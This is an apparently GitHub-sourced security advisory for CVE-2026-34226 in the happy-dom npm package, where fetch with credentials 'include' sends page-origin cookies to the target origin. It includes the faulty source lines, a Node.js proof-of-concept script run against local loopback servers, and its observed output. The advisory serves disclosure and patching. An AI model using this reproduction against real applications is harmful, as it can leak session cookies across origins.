GHSA-W4GP-FJGQ-3Q4G

Vulnerability from github – Published: 2026-03-29 15:23 – Updated: 2026-03-29 15:23
VLAI
Summary
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment: 1. Node.js >= 22 2. happy-dom 20.6.1 3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps: 1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io 2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io 3. From page host, call fetch to target host with credentials: "include" 4. Observe Cookie header received by the target host

Expected: 1. Include api_cookie=API_ONLY 2. Do not include page_cookie=PAGE_ONLY

Actual (observed): 1. Includes page_cookie=PAGE_ONLY 2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.8.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:23:57Z",
    "nvd_published_at": "2026-03-27T22:16:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst dns = require(\u0027dns\u0027).promises;\nconst { Browser } = require(\u0027happy-dom\u0027);\n\nasync function listen(server, host) {\n  return new Promise((resolve) =\u003e server.listen(0, host, () =\u003e resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || \u0027a.127.0.0.1.nip.io\u0027;\n  const apiHost = process.env.API_HOST || \u0027b.127.0.0.1.nip.io\u0027;\n\n  console.log(\u0027=== PoC: Wrong Cookie Source URL in credentials:include ===\u0027);\n  console.log(\u0027Setup:\u0027);\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log(\u0027  (both resolve to 127.0.0.1 via public wildcard DNS)\u0027);\n  console.log(\u0027\u0027);\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) =\u003e {\n    res.writeHead(200, { \u0027content-type\u0027: \u0027text/plain\u0027 });\n    res.end(\u0027page host\u0027);\n  });\n\n  const apiServer = http.createServer((req, res) =\u003e {\n    observedCookieHeader = req.headers.cookie || \u0027\u0027;\n    const origin = req.headers.origin || \u0027\u0027;\n    res.writeHead(200, {\n      \u0027content-type\u0027: \u0027application/json\u0027,\n      \u0027access-control-allow-origin\u0027: origin,\n      \u0027access-control-allow-credentials\u0027: \u0027true\u0027\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, \u0027127.0.0.1\u0027);\n  const apiPort = await listen(apiServer, \u0027127.0.0.1\u0027);\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = \u0027page_cookie=PAGE_ONLY\u0027;\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = \u0027api_cookie=API_ONLY\u0027;\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: \u0027include\u0027\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes(\u0027page_cookie=PAGE_ONLY\u0027);\n    const expectedApiCookie = observedCookieHeader.includes(\u0027api_cookie=API_ONLY\u0027);\n\n    console.log(\u0027Expected:\u0027);\n    console.log(\u0027  Request to target host should include \"api_cookie=API_ONLY\".\u0027);\n    console.log(\u0027  Request should NOT include \"page_cookie=PAGE_ONLY\".\u0027);\n    console.log(\u0027\u0027);\n\n    console.log(\u0027Actual:\u0027);\n    console.log(`  request cookie header: \"${observedCookieHeader || \u0027(empty)\u0027}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log(\u0027\u0027);\n\n    if (leakedPageCookie \u0026\u0026 !expectedApiCookie) {\n      console.log(\u0027Result: VULNERABLE behavior reproduced.\u0027);\n      process.exitCode = 0;\n    } else {\n      console.log(\u0027Result: Vulnerable behavior NOT reproduced in this run/version.\u0027);\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) =\u003e {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js \u003e= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
  "id": "GHSA-w4gp-fjgq-3q4g",
  "modified": "2026-03-29T15:23:57Z",
  "published": "2026-03-29T15:23:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/pull/2117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM\u0027s fetch credentials include uses page-origin cookies instead of target-origin cookies"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…